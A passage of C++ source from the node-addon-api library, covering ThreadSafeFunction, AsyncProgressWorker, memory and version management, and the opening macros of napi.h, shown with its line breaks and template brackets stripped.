finalizeCallback}); auto fini = details::ThreadSafeFinalize:: FinalizeFinalizeWrapperWithDataAndContext; napi_status status = napi_create_threadsafe_function(env, nullptr, nullptr, String::From(env, resourceName), maxQueueSize, initialThreadCount, finalizeData, fini, context, CallJsInternal, &tsfn._tsfn); if (status != napi_ok) { delete finalizeData; NAPI_THROW_IF_FAILED( env, status, TypedThreadSafeFunction()); } return tsfn; } // static, with Callback [missing] Resource [passed] Finalizer [passed] template template inline TypedThreadSafeFunction TypedThreadSafeFunction::New( napi_env env, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback, FinalizerDataType* data) { TypedThreadSafeFunction tsfn; auto* finalizeData = new details:: ThreadSafeFinalize( {data, finalizeCallback}); auto fini = details::ThreadSafeFinalize:: FinalizeFinalizeWrapperWithDataAndContext; napi_status status = napi_create_threadsafe_function(env, nullptr, resource, String::From(env, resourceName), maxQueueSize, initialThreadCount, finalizeData, fini, context, CallJsInternal, &tsfn._tsfn); if (status != napi_ok) { delete finalizeData; NAPI_THROW_IF_FAILED( env, status, TypedThreadSafeFunction()); } return tsfn; } #endif // static, with Callback [passed] Resource [missing] Finalizer [missing] template template inline TypedThreadSafeFunction TypedThreadSafeFunction::New( napi_env env, const Function& callback, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context) { TypedThreadSafeFunction tsfn; napi_status status = napi_create_threadsafe_function(env, callback, nullptr, String::From(env, resourceName), maxQueueSize, initialThreadCount, nullptr, nullptr, context, CallJsInternal, &tsfn._tsfn); if (status != napi_ok) { NAPI_THROW_IF_FAILED( env, status, TypedThreadSafeFunction()); } return tsfn; } // static, with Callback [passed] Resource [passed] Finalizer [missing] template template inline TypedThreadSafeFunction TypedThreadSafeFunction::New( napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context) { TypedThreadSafeFunction tsfn; napi_status status = napi_create_threadsafe_function(env, callback, resource, String::From(env, resourceName), maxQueueSize, initialThreadCount, nullptr, nullptr, context, CallJsInternal, &tsfn._tsfn); if (status != napi_ok) { NAPI_THROW_IF_FAILED( env, status, TypedThreadSafeFunction()); } return tsfn; } // static, with Callback [passed] Resource [missing] Finalizer [passed] template template inline TypedThreadSafeFunction TypedThreadSafeFunction::New( napi_env env, const Function& callback, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback, FinalizerDataType* data) { TypedThreadSafeFunction tsfn; auto* finalizeData = new details:: ThreadSafeFinalize( {data, finalizeCallback}); auto fini = details::ThreadSafeFinalize:: FinalizeFinalizeWrapperWithDataAndContext; napi_status status = napi_create_threadsafe_function(env, callback, nullptr, String::From(env, resourceName), maxQueueSize, initialThreadCount, finalizeData, fini, context, CallJsInternal, &tsfn._tsfn); if (status != napi_ok) { delete finalizeData; NAPI_THROW_IF_FAILED( env, status, TypedThreadSafeFunction()); } return tsfn; } // static, with: Callback [passed] Resource [passed] Finalizer [passed] template template inline TypedThreadSafeFunction TypedThreadSafeFunction::New( napi_env env, CallbackType callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback, FinalizerDataType* data) { TypedThreadSafeFunction tsfn; auto* finalizeData = new details:: ThreadSafeFinalize( {data, finalizeCallback}); auto fini = details::ThreadSafeFinalize:: FinalizeFinalizeWrapperWithDataAndContext; napi_status status = napi_create_threadsafe_function( env, details::DefaultCallbackWrapper< CallbackType, TypedThreadSafeFunction>(env, callback), resource, String::From(env, resourceName), maxQueueSize, initialThreadCount, finalizeData, fini, context, CallJsInternal, &tsfn._tsfn); if (status != napi_ok) { delete finalizeData; NAPI_THROW_IF_FAILED( env, status, TypedThreadSafeFunction()); } return tsfn; } template inline TypedThreadSafeFunction:: TypedThreadSafeFunction() : _tsfn() {} template inline TypedThreadSafeFunction:: TypedThreadSafeFunction(napi_threadsafe_function tsfn) : _tsfn(tsfn) {} template inline TypedThreadSafeFunction:: operator napi_threadsafe_function() const { return _tsfn; } template inline napi_status TypedThreadSafeFunction::BlockingCall( DataType* data) const { return napi_call_threadsafe_function(_tsfn, data, napi_tsfn_blocking); } template inline napi_status TypedThreadSafeFunction::NonBlockingCall( DataType* data) const { return napi_call_threadsafe_function(_tsfn, data, napi_tsfn_nonblocking); } template inline void TypedThreadSafeFunction::Ref( napi_env env) const { if (_tsfn != nullptr) { napi_status status = napi_ref_threadsafe_function(env, _tsfn); NAPI_THROW_IF_FAILED_VOID(env, status); } } template inline void TypedThreadSafeFunction::Unref( napi_env env) const { if (_tsfn != nullptr) { napi_status status = napi_unref_threadsafe_function(env, _tsfn); NAPI_THROW_IF_FAILED_VOID(env, status); } } template inline napi_status TypedThreadSafeFunction::Acquire() const { return napi_acquire_threadsafe_function(_tsfn); } template inline napi_status TypedThreadSafeFunction::Release() const { return napi_release_threadsafe_function(_tsfn, napi_tsfn_release); } template inline napi_status TypedThreadSafeFunction::Abort() const { return napi_release_threadsafe_function(_tsfn, napi_tsfn_abort); } template inline ContextType* TypedThreadSafeFunction::GetContext() const { void* context; napi_status status = napi_get_threadsafe_function_context(_tsfn, &context); NAPI_FATAL_IF_FAILED(status, "TypedThreadSafeFunction::GetContext", "napi_get_threadsafe_function_context"); return static_cast(context); } // static template void TypedThreadSafeFunction::CallJsInternal( napi_env env, napi_value jsCallback, void* context, void* data) { details::CallJsWrapper( env, jsCallback, context, data); } #if NAPI_VERSION == 4 // static template Napi::Function TypedThreadSafeFunction::EmptyFunctionFactory( Napi::Env env) { return Napi::Function::New(env, [](const CallbackInfo& cb) {}); } // static template Napi::Function TypedThreadSafeFunction::FunctionOrEmpty( Napi::Env env, Napi::Function& callback) { if (callback.IsEmpty()) { return EmptyFunctionFactory(env); } return callback; } #else // static template std::nullptr_t TypedThreadSafeFunction::EmptyFunctionFactory( Napi::Env /*env*/) { return nullptr; } // static template Napi::Function TypedThreadSafeFunction::FunctionOrEmpty( Napi::Env /*env*/, Napi::Function& callback) { return callback; } #endif //////////////////////////////////////////////////////////////////////////////// // ThreadSafeFunction class //////////////////////////////////////////////////////////////////////////////// // static template inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, const Function& callback, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount) { return New( env, callback, Object(), resourceName, maxQueueSize, initialThreadCount); } // static template inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, const Function& callback, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context) { return New(env, callback, Object(), resourceName, maxQueueSize, initialThreadCount, context); } // static template inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, const Function& callback, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, Finalizer finalizeCallback) { return New(env, callback, Object(), resourceName, maxQueueSize, initialThreadCount, finalizeCallback); } // static template inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, const Function& callback, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, Finalizer finalizeCallback, FinalizerDataType* data) { return New(env, callback, Object(), resourceName, maxQueueSize, initialThreadCount, finalizeCallback, data); } // static template inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, const Function& callback, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback) { return New(env, callback, Object(), resourceName, maxQueueSize, initialThreadCount, context, finalizeCallback); } // static template inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, const Function& callback, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback, FinalizerDataType* data) { return New(env, callback, Object(), resourceName, maxQueueSize, initialThreadCount, context, finalizeCallback, data); } // static template inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount) { return New(env, callback, resource, resourceName, maxQueueSize, initialThreadCount, static_cast(nullptr) /* context */); } // static template inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context) { return New(env, callback, resource, resourceName, maxQueueSize, initialThreadCount, context, [](Env, ContextType*) {} /* empty finalizer */); } // static template inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, Finalizer finalizeCallback) { return New(env, callback, resource, resourceName, maxQueueSize, initialThreadCount, static_cast(nullptr) /* context */, finalizeCallback, static_cast(nullptr) /* data */, details::ThreadSafeFinalize::Wrapper); } // static template inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, Finalizer finalizeCallback, FinalizerDataType* data) { return New(env, callback, resource, resourceName, maxQueueSize, initialThreadCount, static_cast(nullptr) /* context */, finalizeCallback, data, details::ThreadSafeFinalize:: FinalizeWrapperWithData); } // static template inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback) { return New( env, callback, resource, resourceName, maxQueueSize, initialThreadCount, context, finalizeCallback, static_cast(nullptr) /* data */, details::ThreadSafeFinalize::FinalizeWrapperWithContext); } // static template inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback, FinalizerDataType* data) { return New( env, callback, resource, resourceName, maxQueueSize, initialThreadCount, context, finalizeCallback, data, details::ThreadSafeFinalize:: FinalizeFinalizeWrapperWithDataAndContext); } inline ThreadSafeFunction::ThreadSafeFunction() : _tsfn() {} inline ThreadSafeFunction::ThreadSafeFunction(napi_threadsafe_function tsfn) : _tsfn(tsfn) {} inline ThreadSafeFunction::operator napi_threadsafe_function() const { return _tsfn; } inline napi_status ThreadSafeFunction::BlockingCall() const { return CallInternal(nullptr, napi_tsfn_blocking); } template <> inline napi_status ThreadSafeFunction::BlockingCall(void* data) const { return napi_call_threadsafe_function(_tsfn, data, napi_tsfn_blocking); } template inline napi_status ThreadSafeFunction::BlockingCall(Callback callback) const { return CallInternal(new CallbackWrapper(callback), napi_tsfn_blocking); } template inline napi_status ThreadSafeFunction::BlockingCall(DataType* data, Callback callback) const { auto wrapper = [data, callback](Env env, Function jsCallback) { callback(env, jsCallback, data); }; return CallInternal(new CallbackWrapper(wrapper), napi_tsfn_blocking); } inline napi_status ThreadSafeFunction::NonBlockingCall() const { return CallInternal(nullptr, napi_tsfn_nonblocking); } template <> inline napi_status ThreadSafeFunction::NonBlockingCall(void* data) const { return napi_call_threadsafe_function(_tsfn, data, napi_tsfn_nonblocking); } template inline napi_status ThreadSafeFunction::NonBlockingCall( Callback callback) const { return CallInternal(new CallbackWrapper(callback), napi_tsfn_nonblocking); } template inline napi_status ThreadSafeFunction::NonBlockingCall( DataType* data, Callback callback) const { auto wrapper = [data, callback](Env env, Function jsCallback) { callback(env, jsCallback, data); }; return CallInternal(new CallbackWrapper(wrapper), napi_tsfn_nonblocking); } inline void ThreadSafeFunction::Ref(napi_env env) const { if (_tsfn != nullptr) { napi_status status = napi_ref_threadsafe_function(env, _tsfn); NAPI_THROW_IF_FAILED_VOID(env, status); } } inline void ThreadSafeFunction::Unref(napi_env env) const { if (_tsfn != nullptr) { napi_status status = napi_unref_threadsafe_function(env, _tsfn); NAPI_THROW_IF_FAILED_VOID(env, status); } } inline napi_status ThreadSafeFunction::Acquire() const { return napi_acquire_threadsafe_function(_tsfn); } inline napi_status ThreadSafeFunction::Release() const { return napi_release_threadsafe_function(_tsfn, napi_tsfn_release); } inline napi_status ThreadSafeFunction::Abort() const { return napi_release_threadsafe_function(_tsfn, napi_tsfn_abort); } inline ThreadSafeFunction::ConvertibleContext ThreadSafeFunction::GetContext() const { void* context; napi_status status = napi_get_threadsafe_function_context(_tsfn, &context); NAPI_FATAL_IF_FAILED(status, "ThreadSafeFunction::GetContext", "napi_get_threadsafe_function_context"); return ConvertibleContext({context}); } // static template inline ThreadSafeFunction ThreadSafeFunction::New(napi_env env, const Function& callback, const Object& resource, ResourceString resourceName, size_t maxQueueSize, size_t initialThreadCount, ContextType* context, Finalizer finalizeCallback, FinalizerDataType* data, napi_finalize wrapper) { static_assert(details::can_make_string::value || std::is_convertible::value, "Resource name should be convertible to the string type"); ThreadSafeFunction tsfn; auto* finalizeData = new details:: ThreadSafeFinalize( {data, finalizeCallback}); napi_status status = napi_create_threadsafe_function(env, callback, resource, Value::From(env, resourceName), maxQueueSize, initialThreadCount, finalizeData, wrapper, context, CallJS, &tsfn._tsfn); if (status != napi_ok) { delete finalizeData; NAPI_THROW_IF_FAILED(env, status, ThreadSafeFunction()); } return tsfn; } inline napi_status ThreadSafeFunction::CallInternal( CallbackWrapper* callbackWrapper, napi_threadsafe_function_call_mode mode) const { napi_status status = napi_call_threadsafe_function(_tsfn, callbackWrapper, mode); if (status != napi_ok && callbackWrapper != nullptr) { delete callbackWrapper; } return status; } // static inline void ThreadSafeFunction::CallJS(napi_env env, napi_value jsCallback, void* /* context */, void* data) { if (env == nullptr && jsCallback == nullptr) { return; } details::WrapVoidCallback(env, [&]() { if (data != nullptr) { auto* callbackWrapper = static_cast(data); (*callbackWrapper)(env, Function(env, jsCallback)); delete callbackWrapper; } else if (jsCallback != nullptr) { Function(env, jsCallback).Call({}); } }); } //////////////////////////////////////////////////////////////////////////////// // Async Progress Worker Base class //////////////////////////////////////////////////////////////////////////////// template inline AsyncProgressWorkerBase::AsyncProgressWorkerBase( const Object& receiver, const Function& callback, const char* resource_name, const Object& resource, size_t queue_size) : AsyncWorker(receiver, callback, resource_name, resource) { // Fill all possible arguments to work around ambiguous // ThreadSafeFunction::New signatures. _tsfn = ThreadSafeFunction::New(callback.Env(), callback, resource, resource_name, queue_size, /** initialThreadCount */ 1, /** context */ this, OnThreadSafeFunctionFinalize, /** finalizeData */ this); } #if NAPI_VERSION > 4 template inline AsyncProgressWorkerBase::AsyncProgressWorkerBase( Napi::Env env, const char* resource_name, const Object& resource, size_t queue_size) : AsyncWorker(env, resource_name, resource) { // TODO: Once the changes to make the callback optional for threadsafe // functions are available on all versions we can remove the dummy Function // here. Function callback; // Fill all possible arguments to work around ambiguous // ThreadSafeFunction::New signatures. _tsfn = ThreadSafeFunction::New(env, callback, resource, resource_name, queue_size, /** initialThreadCount */ 1, /** context */ this, OnThreadSafeFunctionFinalize, /** finalizeData */ this); } #endif template inline AsyncProgressWorkerBase::~AsyncProgressWorkerBase() { // Abort pending tsfn call. // Don't send progress events after we've already completed. // It's ok to call ThreadSafeFunction::Abort and ThreadSafeFunction::Release // duplicated. _tsfn.Abort(); } template inline void AsyncProgressWorkerBase::OnAsyncWorkProgress( Napi::Env /* env */, Napi::Function /* jsCallback */, void* data) { ThreadSafeData* tsd = static_cast(data); tsd->asyncprogressworker()->OnWorkProgress(tsd->data()); delete tsd; } template inline napi_status AsyncProgressWorkerBase::NonBlockingCall( DataType* data) { auto tsd = new AsyncProgressWorkerBase::ThreadSafeData(this, data); auto ret = _tsfn.NonBlockingCall(tsd, OnAsyncWorkProgress); if (ret != napi_ok) { delete tsd; } return ret; } template inline void AsyncProgressWorkerBase::OnWorkComplete( Napi::Env /* env */, napi_status status) { _work_completed = true; _complete_status = status; _tsfn.Release(); } template inline void AsyncProgressWorkerBase::OnThreadSafeFunctionFinalize( Napi::Env env, void* /* data */, AsyncProgressWorkerBase* context) { if (context->_work_completed) { context->AsyncWorker::OnWorkComplete(env, context->_complete_status); } } //////////////////////////////////////////////////////////////////////////////// // Async Progress Worker class //////////////////////////////////////////////////////////////////////////////// template inline AsyncProgressWorker::AsyncProgressWorker(const Function& callback) : AsyncProgressWorker(callback, "generic") {} template inline AsyncProgressWorker::AsyncProgressWorker(const Function& callback, const char* resource_name) : AsyncProgressWorker( callback, resource_name, Object::New(callback.Env())) {} template inline AsyncProgressWorker::AsyncProgressWorker(const Function& callback, const char* resource_name, const Object& resource) : AsyncProgressWorker( Object::New(callback.Env()), callback, resource_name, resource) {} template inline AsyncProgressWorker::AsyncProgressWorker(const Object& receiver, const Function& callback) : AsyncProgressWorker(receiver, callback, "generic") {} template inline AsyncProgressWorker::AsyncProgressWorker(const Object& receiver, const Function& callback, const char* resource_name) : AsyncProgressWorker( receiver, callback, resource_name, Object::New(callback.Env())) {} template inline AsyncProgressWorker::AsyncProgressWorker(const Object& receiver, const Function& callback, const char* resource_name, const Object& resource) : AsyncProgressWorkerBase(receiver, callback, resource_name, resource), _asyncdata(nullptr), _asyncsize(0), _signaled(false) {} #if NAPI_VERSION > 4 template inline AsyncProgressWorker::AsyncProgressWorker(Napi::Env env) : AsyncProgressWorker(env, "generic") {} template inline AsyncProgressWorker::AsyncProgressWorker(Napi::Env env, const char* resource_name) : AsyncProgressWorker(env, resource_name, Object::New(env)) {} template inline AsyncProgressWorker::AsyncProgressWorker(Napi::Env env, const char* resource_name, const Object& resource) : AsyncProgressWorkerBase(env, resource_name, resource), _asyncdata(nullptr), _asyncsize(0) {} #endif template inline AsyncProgressWorker::~AsyncProgressWorker() { { std::lock_guard lock(this->_mutex); _asyncdata = nullptr; _asyncsize = 0; } } template inline void AsyncProgressWorker::Execute() { ExecutionProgress progress(this); Execute(progress); } template inline void AsyncProgressWorker::OnWorkProgress(void*) { T* data; size_t size; bool signaled; { std::lock_guard lock(this->_mutex); data = this->_asyncdata; size = this->_asyncsize; signaled = this->_signaled; this->_asyncdata = nullptr; this->_asyncsize = 0; this->_signaled = false; } /** * The callback of ThreadSafeFunction is not been invoked immediately on the * callback of uv_async_t (uv io poll), rather the callback of TSFN is * invoked on the right next uv idle callback. There are chances that during * the deferring the signal of uv_async_t is been sent again, i.e. potential * not coalesced two calls of the TSFN callback. */ if (data == nullptr && !signaled) { return; } this->OnProgress(data, size); delete[] data; } template inline void AsyncProgressWorker::SendProgress_(const T* data, size_t count) { T* new_data = new T[count]; std::copy(data, data + count, new_data); T* old_data; { std::lock_guard lock(this->_mutex); old_data = _asyncdata; _asyncdata = new_data; _asyncsize = count; _signaled = false; } this->NonBlockingCall(nullptr); delete[] old_data; } template inline void AsyncProgressWorker::Signal() { { std::lock_guard lock(this->_mutex); _signaled = true; } this->NonBlockingCall(static_cast(nullptr)); } template inline void AsyncProgressWorker::ExecutionProgress::Signal() const { this->_worker->Signal(); } template inline void AsyncProgressWorker::ExecutionProgress::Send( const T* data, size_t count) const { _worker->SendProgress_(data, count); } //////////////////////////////////////////////////////////////////////////////// // Async Progress Queue Worker class //////////////////////////////////////////////////////////////////////////////// template inline AsyncProgressQueueWorker::AsyncProgressQueueWorker( const Function& callback) : AsyncProgressQueueWorker(callback, "generic") {} template inline AsyncProgressQueueWorker::AsyncProgressQueueWorker( const Function& callback, const char* resource_name) : AsyncProgressQueueWorker( callback, resource_name, Object::New(callback.Env())) {} template inline AsyncProgressQueueWorker::AsyncProgressQueueWorker( const Function& callback, const char* resource_name, const Object& resource) : AsyncProgressQueueWorker( Object::New(callback.Env()), callback, resource_name, resource) {} template inline AsyncProgressQueueWorker::AsyncProgressQueueWorker( const Object& receiver, const Function& callback) : AsyncProgressQueueWorker(receiver, callback, "generic") {} template inline AsyncProgressQueueWorker::AsyncProgressQueueWorker( const Object& receiver, const Function& callback, const char* resource_name) : AsyncProgressQueueWorker( receiver, callback, resource_name, Object::New(callback.Env())) {} template inline AsyncProgressQueueWorker::AsyncProgressQueueWorker( const Object& receiver, const Function& callback, const char* resource_name, const Object& resource) : AsyncProgressWorkerBase>( receiver, callback, resource_name, resource, /** unlimited queue size */ 0) {} #if NAPI_VERSION > 4 template inline AsyncProgressQueueWorker::AsyncProgressQueueWorker(Napi::Env env) : AsyncProgressQueueWorker(env, "generic") {} template inline AsyncProgressQueueWorker::AsyncProgressQueueWorker( Napi::Env env, const char* resource_name) : AsyncProgressQueueWorker(env, resource_name, Object::New(env)) {} template inline AsyncProgressQueueWorker::AsyncProgressQueueWorker( Napi::Env env, const char* resource_name, const Object& resource) : AsyncProgressWorkerBase>( env, resource_name, resource, /** unlimited queue size */ 0) {} #endif template inline void AsyncProgressQueueWorker::Execute() { ExecutionProgress progress(this); Execute(progress); } template inline void AsyncProgressQueueWorker::OnWorkProgress( std::pair* datapair) { if (datapair == nullptr) { return; } T* data = datapair->first; size_t size = datapair->second; this->OnProgress(data, size); delete datapair; delete[] data; } template inline void AsyncProgressQueueWorker::SendProgress_(const T* data, size_t count) { T* new_data = new T[count]; std::copy(data, data + count, new_data); auto pair = new std::pair(new_data, count); this->NonBlockingCall(pair); } template inline void AsyncProgressQueueWorker::Signal() const { this->SendProgress_(static_cast(nullptr), 0); } template inline void AsyncProgressQueueWorker::OnWorkComplete(Napi::Env env, napi_status status) { // Draining queued items in TSFN. AsyncProgressWorkerBase>::OnWorkComplete(env, status); } template inline void AsyncProgressQueueWorker::ExecutionProgress::Signal() const { _worker->SendProgress_(static_cast(nullptr), 0); } template inline void AsyncProgressQueueWorker::ExecutionProgress::Send( const T* data, size_t count) const { _worker->SendProgress_(data, count); } #endif // NAPI_VERSION > 3 && NAPI_HAS_THREADS //////////////////////////////////////////////////////////////////////////////// // Memory Management class //////////////////////////////////////////////////////////////////////////////// inline int64_t MemoryManagement::AdjustExternalMemory(BasicEnv env, int64_t change_in_bytes) { int64_t result; napi_status status = napi_adjust_external_memory(env, change_in_bytes, &result); NAPI_FATAL_IF_FAILED(status, "MemoryManagement::AdjustExternalMemory", "napi_adjust_external_memory"); return result; } //////////////////////////////////////////////////////////////////////////////// // Version Management class //////////////////////////////////////////////////////////////////////////////// inline uint32_t VersionManagement::GetNapiVersion(BasicEnv env) { uint32_t result; napi_status status = napi_get_version(env, &result); NAPI_FATAL_IF_FAILED( status, "VersionManagement::GetNapiVersion", "napi_get_version"); return result; } inline const napi_node_version* VersionManagement::GetNodeVersion( BasicEnv env) { const napi_node_version* result; napi_status status = napi_get_node_version(env, &result); NAPI_FATAL_IF_FAILED( status, "VersionManagement::GetNodeVersion", "napi_get_node_version"); return result; } #if NAPI_VERSION > 5 //////////////////////////////////////////////////////////////////////////////// // Addon class //////////////////////////////////////////////////////////////////////////////// template inline Object Addon::Init(Env env, Object exports) { T* addon = new T(env, exports); env.SetInstanceData(addon); return addon->entry_point_; } template inline T* Addon::Unwrap(Object wrapper) { return wrapper.Env().GetInstanceData(); } template inline void Addon::DefineAddon( Object exports, const std::initializer_list& props) { DefineProperties(exports, props); entry_point_ = exports; } template inline Napi::Object Addon::DefineProperties( Object object, const std::initializer_list& props) { const napi_property_descriptor* properties = reinterpret_cast(props.begin()); size_t size = props.size(); napi_status status = napi_define_properties(object.Env(), object, size, properties); NAPI_THROW_IF_FAILED(object.Env(), status, object); for (size_t idx = 0; idx < size; idx++) T::AttachPropData(object.Env(), object, &properties[idx]); return object; } #endif // NAPI_VERSION > 5 #if NAPI_VERSION > 2 template Env::CleanupHook BasicEnv::AddCleanupHook(Hook hook, Arg* arg) { return CleanupHook(*this, hook, arg); } template Env::CleanupHook BasicEnv::AddCleanupHook(Hook hook) { return CleanupHook(*this, hook); } template Env::CleanupHook::CleanupHook() { data = nullptr; } template Env::CleanupHook::CleanupHook(Napi::BasicEnv env, Hook hook) : wrapper(Env::CleanupHook::Wrapper) { data = new CleanupData{std::move(hook), nullptr}; napi_status status = napi_add_env_cleanup_hook(env, wrapper, data); if (status != napi_ok) { delete data; data = nullptr; } } template Env::CleanupHook::CleanupHook(Napi::BasicEnv env, Hook hook, Arg* arg) : wrapper(Env::CleanupHook::WrapperWithArg) { data = new CleanupData{std::move(hook), arg}; napi_status status = napi_add_env_cleanup_hook(env, wrapper, data); if (status != napi_ok) { delete data; data = nullptr; } } template bool Env::CleanupHook::Remove(BasicEnv env) { napi_status status = napi_remove_env_cleanup_hook(env, wrapper, data); delete data; data = nullptr; return status == napi_ok; } template bool Env::CleanupHook::IsEmpty() const { return data == nullptr; } #endif // NAPI_VERSION > 2 #ifdef NODE_API_EXPERIMENTAL_HAS_POST_FINALIZER template inline void BasicEnv::PostFinalizer(FinalizerType finalizeCallback) const { using T = void*; details::FinalizeData* finalizeData = new details::FinalizeData( {std::move(finalizeCallback), nullptr}); napi_status status = node_api_post_finalizer( _env, details::FinalizeData::WrapperGCWithoutData, static_cast(nullptr), finalizeData); if (status != napi_ok) { delete finalizeData; NAPI_FATAL_IF_FAILED( status, "BasicEnv::PostFinalizer", "invalid arguments"); } } template inline void BasicEnv::PostFinalizer(FinalizerType finalizeCallback, T* data) const { details::FinalizeData* finalizeData = new details::FinalizeData( {std::move(finalizeCallback), nullptr}); napi_status status = node_api_post_finalizer( _env, details::FinalizeData::WrapperGC, data, finalizeData); if (status != napi_ok) { delete finalizeData; NAPI_FATAL_IF_FAILED( status, "BasicEnv::PostFinalizer", "invalid arguments"); } } template inline void BasicEnv::PostFinalizer(FinalizerType finalizeCallback, T* data, Hint* finalizeHint) const { details::FinalizeData* finalizeData = new details::FinalizeData( {std::move(finalizeCallback), finalizeHint}); napi_status status = node_api_post_finalizer( _env, details::FinalizeData::WrapperGCWithHint, data, finalizeData); if (status != napi_ok) { delete finalizeData; NAPI_FATAL_IF_FAILED( status, "BasicEnv::PostFinalizer", "invalid arguments"); } } #endif // NODE_API_EXPERIMENTAL_HAS_POST_FINALIZER #ifdef NAPI_CPP_CUSTOM_NAMESPACE } // namespace NAPI_CPP_CUSTOM_NAMESPACE #endif } // namespace Napi #undef NAPI_NO_SANITIZE_VPTR #endif // SRC_NAPI_INL_H_ #ifndef SRC_NAPI_H_ #define SRC_NAPI_H_ #ifndef NAPI_HAS_THREADS #if !defined(__wasm__) || (defined(__EMSCRIPTEN_PTHREADS__) || \ (defined(__wasi__) && defined(_REENTRANT))) #define NAPI_HAS_THREADS 1 #else #define NAPI_HAS_THREADS 0 #endif #endif #include #include #include #include #if NAPI_HAS_THREADS #include #endif // NAPI_HAS_THREADS #include #include #include #include // VS2015 RTM has bugs with constexpr, so require min of VS2015 Update 3 (known // good version) #if !defined(_MSC_VER) || _MSC_FULL_VER >= 190024210 #define NAPI_HAS_CONSTEXPR 1 #endif // VS2013 does not support char16_t literal strings, so we'll work around it // using wchar_t strings and casting them. This is safe as long as the character // sizes are the same. #if defined(_MSC_VER) && _MSC_VER <= 1800 static_assert(sizeof(char16_t) == sizeof(wchar_t), "Size mismatch between char16_t and wchar_t"); #define NAPI_WIDE_TEXT(x) reinterpret_cast(L##x) #else #define NAPI_WIDE_TEXT(x) u##x #endif // Backwards-compatibility to handle the rename of this macro definition, in // case they are used within userland code. #ifdef NAPI_CPP_EXCEPTIONS #define NODE_ADDON_API_CPP_EXCEPTIONS #endif #if defined(NODE_ADDON_API_CPP_EXCEPTIONS) && !defined(NAPI_CPP_EXCEPTIONS) #define NAPI_CPP_EXCEPTIONS #endif #ifdef NAPI_DISABLE_CPP_EXCEPTIONS #define NODE_ADDON_API_DISABLE_CPP_EXCEPTIONS #endif #if defined(NODE_ADDON_API_DISABLE_CPP_EXCEPTIONS) && \ !defined(NAPI_DISABLE_CPP_EXCEPTIONS) #define NAPI_DISABLE_CPP_EXCEPTIONS #endif // If C++ exceptions are not explicitly enabled or disabled, enable them // if exceptions were enabled in the compiler settings. #if !defined(NODE_ADDON_API_CPP_EXCEPTIONS) && \ !defined(NODE_ADDON_API_DISABLE_CPP_EXCEPTIONS) #if defined(_CPPUNWIND) || defined(__EXCEPTIONS) #define NODE_ADDON_API_CPP_EXCEPTIONS #else #error Exception support not detected. \ Define either NODE_ADDON_API_CPP_EXCEPTIONS or NODE_ADDON_API_DISABLE_CPP_EXCEPTIONS. #endif #endif // If C++ NODE_ADDON_API_CPP_EXCEPTIONS are enabled, NODE_ADDON_API_ENABLE_MAYBE // should not be set #if defined(NODE_ADDON_API_CPP_EXCEPTIONS) && \ defined(NODE_ADDON_API_ENABLE_MAYBE) #error NODE_ADDON_API_ENABLE_MAYBE should not be set when \ NODE_ADDON_API_CPP_EXCEPTIONS is defined. #endif #ifdef _NOEXCEPT #define NAPI_NOEXCEPT _NOEXCEPT #else #define NAPI_NOEXCEPT noexcept #endif #ifdef NODE_ADDON_API_CPP_EXCEPTIONS // When C++ exceptions are enabled, Errors are thrown directly. There is no need // to return anything after the throw statements. The variadic parameter is an // optional return value that is ignored. // We need _VOID versions of the macros to avoid warnings resulting from // leaving the NAPI_THROW_* `...` argument empty. #define NAPI_THROW(e, ...) throw e #define NAPI_THROW_VOID(e) throw e #define NAPI_THROW_IF_FAILED(env, status, ...) \ if ((status) != napi_ok) throw Napi::Error::New(env); #define NAPI_THROW_IF_FAILED_VOID(env, status) \ if ((status) != napi_ok) throw Napi::Error::New(env); #else // NODE_ADDON_API_CPP_EXCEPTIONS // When C++ exceptions are disabled, Errors are thrown as JavaScript exceptions, // which are pending until the callback returns to JS. The variadic parameter // is an optional return value; usually it is an empty result. // We need _VOID versions of the macros to avoid warnings resulting from // leaving the NAPI_THROW_* `...` argument empty. #define NAPI_THROW(e, ...) \ do { \ (e).ThrowAsJavaScriptException(); \ return __VA_ARGS__; \ } while (0) #define NAPI_THROW_VOID(e) \ do { \ (e).ThrowAsJavaScriptException(); \ return; \ } while (0) #define NAPI_THROW_IF_FAILED(env, status, ...) \ if ((status) != napi_ok) { \ Napi::Error::New(env).ThrowAsJavaScriptException(); \ return __VA_ARGS__; \ } #define NAPI_THROW_IF_FAILED_VOID(env, status) \ if ((status) != napi_ok) { \ Napi::Error::New(env).ThrowAsJavaScriptException(); \ return; \ } #endif // 